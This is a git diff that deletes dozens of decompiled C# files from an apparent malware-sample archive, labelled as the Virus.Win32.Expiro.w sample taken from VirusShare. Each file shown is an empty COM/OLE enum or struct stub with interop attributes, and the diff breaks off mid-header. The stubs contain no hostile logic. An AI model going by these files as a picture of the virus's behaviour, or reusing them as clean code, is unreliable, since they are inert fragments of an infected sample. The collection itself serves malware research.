PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagHITRESULT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagINVOKEKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagINVOKEKIND.cs deleted file mode 100644 index bfb37a17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagINVOKEKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagINVOKEKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagINVOKEKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLIBFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLIBFLAGS.cs deleted file mode 100644 index 11b7baa3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLIBFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLIBFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagLIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLOCKTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLOCKTYPE.cs deleted file mode 100644 index 325f49c3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagLOCKTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagLOCKTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagLOCKTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMEMCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMEMCTX.cs deleted file mode 100644 index 3db932ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMEMCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMEMCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagMEMCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKREDUCE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKREDUCE.cs deleted file mode 100644 index fe87bb66..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKREDUCE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKREDUCE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMKREDUCE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKSYS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKSYS.cs deleted file mode 100644 index 4daed10a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMKSYS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMKSYS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagMKSYS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSG.cs deleted file mode 100644 index 96f23a46..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSG.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 28)] -internal struct tagMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHCTX.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHCTX.cs deleted file mode 100644 index 91e77d21..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHCTX.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHCTX -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagMSHCTX -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHLFLAGS.cs deleted file mode 100644 index 5bbfe158..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagNWMF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagNWMF.cs deleted file mode 100644 index 50b85517..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagNWMF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagNWMF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagNWMF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECLOSE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECLOSE.cs deleted file mode 100644 index 6e08746c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECLOSE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECLOSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLECLOSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECONTF.cs deleted file mode 100644 index d767a59d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLECONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLECONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEDCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEDCFLAGS.cs deleted file mode 100644 index 3afb892a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEDCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEDCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLEDCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEGETMONIKER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEGETMONIKER.cs deleted file mode 100644 index dd0cc34f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEGETMONIKER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEGETMONIKER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLEGETMONIKER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLELINKBIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLELINKBIND.cs deleted file mode 100644 index 4813d8b2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLELINKBIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLELINKBIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLELINKBIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEMISC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEMISC.cs deleted file mode 100644 index 2b89ae79..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEMISC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEMISC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLEMISC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLERENDER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLERENDER.cs deleted file mode 100644 index 311909b1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLERENDER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLERENDER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLERENDER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEUPDATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEUPDATE.cs deleted file mode 100644 index 6d5fef74..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEUPDATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEUPDATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLEUPDATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEVERBATTRIB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEVERBATTRIB.cs deleted file mode 100644 index b67722f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEVERBATTRIB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEVERBATTRIB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLEVERBATTRIB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEWHICHMK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEWHICHMK.cs deleted file mode 100644 index 6382cc4e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagOLEWHICHMK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEWHICHMK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLEWHICHMK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGMSG.cs deleted file mode 100644 index 5f1d07f7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGMSG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPENDINGMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGTYPE.cs deleted file mode 100644 index 853182b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPENDINGTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPENDINGTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPOINTERINACTIVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPOINTERINACTIVE.cs deleted file mode 100644 index ec71d40c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPOINTERINACTIVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPOINTERINACTIVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPOINTERINACTIVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPBAG2_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPBAG2_TYPE.cs deleted file mode 100644 index 06343708..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/tagPROPBAG2_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPBAG2_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: 